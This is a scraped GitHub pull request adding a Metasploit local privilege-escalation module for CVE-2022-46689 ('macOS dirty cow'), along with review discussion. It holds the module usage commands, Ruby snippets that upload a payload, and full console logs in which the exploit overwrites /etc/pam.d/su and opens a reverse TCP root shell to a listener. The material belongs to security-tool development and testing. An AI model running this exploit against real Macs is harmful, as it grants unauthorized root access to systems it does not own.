Add CVE-2022-46689 macOS dirty cow #17415

timwr · 2022-12-26T21:14:12Z

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

Verification

Start msfconsole
Get a session on macOS < 13.0.1
Run the module:

use exploit/osx/local/mac_dirty_cow
set SESSION 1
set LHOST <tab>
set LPORT 4445
exploit

Verify you get a new session as root
Document the thing and how it works

github-actions · 2022-12-26T21:14:30Z

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

gwillcox-r7 · 2022-12-28T02:06:27Z

Just a heads up this will need to be rebased to make the checks pass due to issues discussed in #17419

jheysel-r7 · 2022-12-28T15:33:43Z

external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c

@@ -0,0 +1,359 @@
+// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c


Just wanted to say this PR is awesome, thanks so much for the contribution! Glad to see this exploit is open source :)

Should we add the related license to the main LICENSE file?

It is an Apple license and it looks like modifications are allowed under certain conditions, so I think we're fine. That said, I'm not familiar with this kind of license and it would be a good idea to double check.

Hey @cdelafuente-r7 I've added the related license to the LICENSE file. This is my first addition to the LICENSE file so please let me know if you think I've done it correctly or if any improvements could be made 🙏

jheysel-r7 · 2023-01-04T18:53:50Z

Hey @timwr, thanks again for the module. When testing I wasn't able to get the module to return a meterpreter root shell, not exactly sure why - though a osx/x64/shell_reverse_tcp seems to work everytime without issue.

Were you able to run the module successfully with a meterpreter payload?

msf6 exploit(osx/local/mac_dirty_cow) > set payload osx/x64/shell_reverse_tcp
payload => osx/x64/shell_reverse_tcp
msf6 exploit(osx/local/mac_dirty_cow) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.4f5Jb0' (17204 bytes) ...
[*] Writing '/tmp/.XJTqwwh' (51392 bytes) ...
[*] Executing exploit '/tmp/.XJTqwwh /etc/pam.d/su /tmp/.YR06i8gSD'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Running cmd:
echo '/tmp/.4f5Jb0 & disown' | su
[*] Executing exploit (restoring) '/tmp/.XJTqwwh /etc/pam.d/su /tmp/.Dt8Ug5r'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[+] Deleted /tmp/.4f5Jb0
[+] Deleted /tmp/.Dt8Ug5r
[+] Deleted /tmp/.YR06i8gSD
[+] Deleted /tmp/.XJTqwwh
[*] Command shell session 3 opened (172.16.199.1:4444 -> 172.16.199.132:49156) at 2023-01-04 13:40:35 -0500

id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
uname -a
Darwin msfusers-Mac.local 22.0.0 Darwin Kernel Version 22.0.0: Tue May 24 20:31:35 PDT 2022; root:xnu-8792.0.50.111.3~5/RELEASE_X86_64 x86_64

Meterpreter attempts:

msf6 exploit(osx/local/mac_dirty_cow) > set payload osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/mac_dirty_cow) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.kJ5FUbU' (17204 bytes) ...
[*] Writing '/tmp/.drlmdd' (51392 bytes) ...
[*] Executing exploit '/tmp/.drlmdd /etc/pam.d/su /tmp/.pC5DLjT6'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Running cmd:
echo '/tmp/.kJ5FUbU & disown' | su
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (810648 bytes) to 172.16.199.132
[*] Executing exploit (restoring) '/tmp/.drlmdd /etc/pam.d/su /tmp/.M0eGUjym'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[-] Meterpreter session 4 is not valid and will be closed
[*] 172.16.199.132 - Meterpreter session 4 closed.

msf6 exploit(osx/local/mac_dirty_cow) >  set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(osx/local/mac_dirty_cow) > run
....
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Exploit completed, but no session was created.

timwr · 2023-01-05T05:54:13Z

modules/exploits/osx/local/mac_dirty_cow.rb

+    payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
+    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
+    upload_and_chmodx payload_file, binary_payload
+    register_file_for_cleanup payload_file


@jheysel-r7 can you test again without this line please? I vaguely remember their being some issues with payloads being run after they have been deleted on the latest macOS.

Fyi I only tested this on Catalina, and it worked with meterpeter

I removed this line and unfortunately did not work while testing on Ventura. I'm going to check in with some colleagues that are a bit more familiar with the inner working of the osx meterpreter today 🤞

You could also try this payload: #13262 on ventura

E.g

metasploit-framework/modules/exploits/osx/browser/osx_gatekeeper_bypass.rb

Line 126 in 3beb3d7

payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload.encoded, {})

I've changed the default payload to osx/x64/shell_reverse_tcp just because it works on all versions of MacOS I've tested with no issue. Python is unfortunately not installed by default on MacOS so I think we should avoid setting that as the default. Let me know if you have any concerns with this approach.

Perfect I was going to suggest exactly the same thing. I'll be reunited with my MacBook in about a month so maybe I can fix it then in a separate pull request

LICENSE

… into mac_dirty_cow

adfoster-r7 · 2023-02-02T15:47:25Z

LICENSE

@@ -135,6 +135,13 @@ Purpose: The built result is used in:
           payloads/stages/windows/vncinject.rb
           payloads/stages/windows/x64/vncinject.rb

+Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c


Just confirming - does this name aligns with the file is on this PR?

timwr · 2023-02-03T08:01:13Z

Thanks for landing this @jheysel-r7 !

dwelch-r7 · 2023-02-03T10:52:13Z

Release Notes

This module is the macOS equivalent of the Dirty Cow vulnerability and allows for an unprivileged user to execute code as root

timwr added module easy needs-docs osx labels Dec 26, 2022

timwr force-pushed the mac_dirty_cow branch from 4c24085 to 0201df6 Compare December 26, 2022 21:40

jheysel-r7 reviewed Dec 28, 2022

View reviewed changes

Add CVE-2022-46689 macOS dirty cow

ce260f5

timwr force-pushed the mac_dirty_cow branch from 0201df6 to ce260f5 Compare December 28, 2022 17:52

jheysel-r7 self-assigned this Dec 29, 2022

timwr commented Jan 5, 2023

View reviewed changes

jheysel-r7 and others added 2 commits February 1, 2023 16:46

Updated license file

057f046

Merge branch 'master' into mac_dirty_cow

595f34f

jheysel-r7 reviewed Feb 1, 2023

View reviewed changes

LICENSE Outdated Show resolved Hide resolved

jheysel-r7 and others added 5 commits February 1, 2023 16:54

Update LICENSE

6037936

Updated default payload

3c7cbf6

Merge branch 'mac_dirty_cow' of github.com:timwr/metasploit-framework…

076ffbc

… into mac_dirty_cow

Cleaned up license file

f4c5632

Documentation

4de5e44

jheysel-r7 removed the needs-docs label Feb 2, 2023

adfoster-r7 reviewed Feb 2, 2023

View reviewed changes

jheysel-r7 added 2 commits February 2, 2023 11:10

Fixed license

88caedd

Rapid7 compiled binary

1f224fd

jheysel-r7 merged commit af2ef53 into rapid7:master Feb 2, 2023

timwr deleted the mac_dirty_cow branch February 3, 2023 08:01

dwelch-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 3, 2023

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add CVE-2022-46689 macOS dirty cow #17415

Add CVE-2022-46689 macOS dirty cow #17415

timwr commented Dec 26, 2022 •

edited by jheysel-r7

Loading

github-actions bot commented Dec 26, 2022

gwillcox-r7 commented Dec 28, 2022 •

edited

Loading

jheysel-r7 Dec 28, 2022

cdelafuente-r7 Jan 5, 2023

jheysel-r7 Feb 1, 2023

jheysel-r7 commented Jan 4, 2023

timwr Jan 5, 2023

timwr Jan 6, 2023

jheysel-r7 Jan 6, 2023

timwr Jan 10, 2023

timwr Jan 10, 2023

jheysel-r7 Feb 1, 2023

timwr Feb 2, 2023

adfoster-r7 Feb 2, 2023

timwr commented Feb 3, 2023

dwelch-r7 commented Feb 3, 2023

		@@ -0,0 +1,359 @@
		// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c

Add CVE-2022-46689 macOS dirty cow #17415

Add CVE-2022-46689 macOS dirty cow #17415

Conversation

timwr commented Dec 26, 2022 • edited by jheysel-r7 Loading

Verification

github-actions bot commented Dec 26, 2022

gwillcox-r7 commented Dec 28, 2022 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jheysel-r7 commented Jan 4, 2023

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

timwr commented Feb 3, 2023

dwelch-r7 commented Feb 3, 2023

Release Notes

timwr commented Dec 26, 2022 •

edited by jheysel-r7

Loading

gwillcox-r7 commented Dec 28, 2022 •

edited

Loading